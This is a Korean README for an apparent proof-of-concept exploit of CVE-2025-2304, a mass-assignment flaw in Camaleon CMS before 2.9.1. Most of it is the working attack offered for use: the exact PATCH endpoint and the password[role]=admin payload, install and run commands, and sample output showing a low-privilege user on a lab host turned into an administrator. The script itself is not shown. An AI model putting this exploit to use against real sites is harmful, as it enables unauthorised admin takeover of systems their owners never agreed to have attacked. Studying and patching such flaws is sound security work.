CVE-2025-2304 — Camaleon CMS Mass Assignment 권한 상승 (PoC)

Camaleon CMS < 2.9.1에서 발생하는 권한 상승 취약점입니다. UsersController의 updated_ajax 엔드포인트는 필터링 없이 params.require(:password).permit!를 호출하여 모든 매개변수가 mass-assignment될 수 있도록 합니다. 인증된 낮은 권한의 사용자는 비밀번호 변경 요청에 password[role]=admin을 주입하여 관리자로 권한을 상승시킬 수 있습니다.

작동 방식

1. 제공된 자격 증명으로 로그인하여 유효한 세션을 얻습니다.
2. 프로필 페이지에서 현재 사용자의 ID와 역할을 가져옵니다.
3. /admin/users/<id>/updated_ajax에 password[role]=admin을 비밀번호 매개변수에 주입하여 PATCH 요청을 보냅니다.
4. 역할이 admin으로 업데이트되었는지 확인합니다.

요구 사항

• Python 3
• 종속성 설치:

python3 -m venv venv
source venv/bin/activate
python3 -m pip install requests beautifulsoup4

사용법

python3 exploit.py http://TARGET -u USER -p PASS

예시:

$ python3 exploit.py http://facts.htb -u esteban -p password123
[*] Logging in as esteban...
[+] Logged in successfully
[*] User ID: 3, current role: editor
[*] Sending exploit payload...
[+] Privilege escalation successful! User is now admin.
[+] Login at http://facts.htb/admin with your credentials.

참고 자료

• CVE-2025-2304
• Tenable Research Advisory
• Camaleon CMS 2.9.1 release (fix)

크레딧

• 발견: Tenable Research
• 정리 및 단순화: Esteban Zárate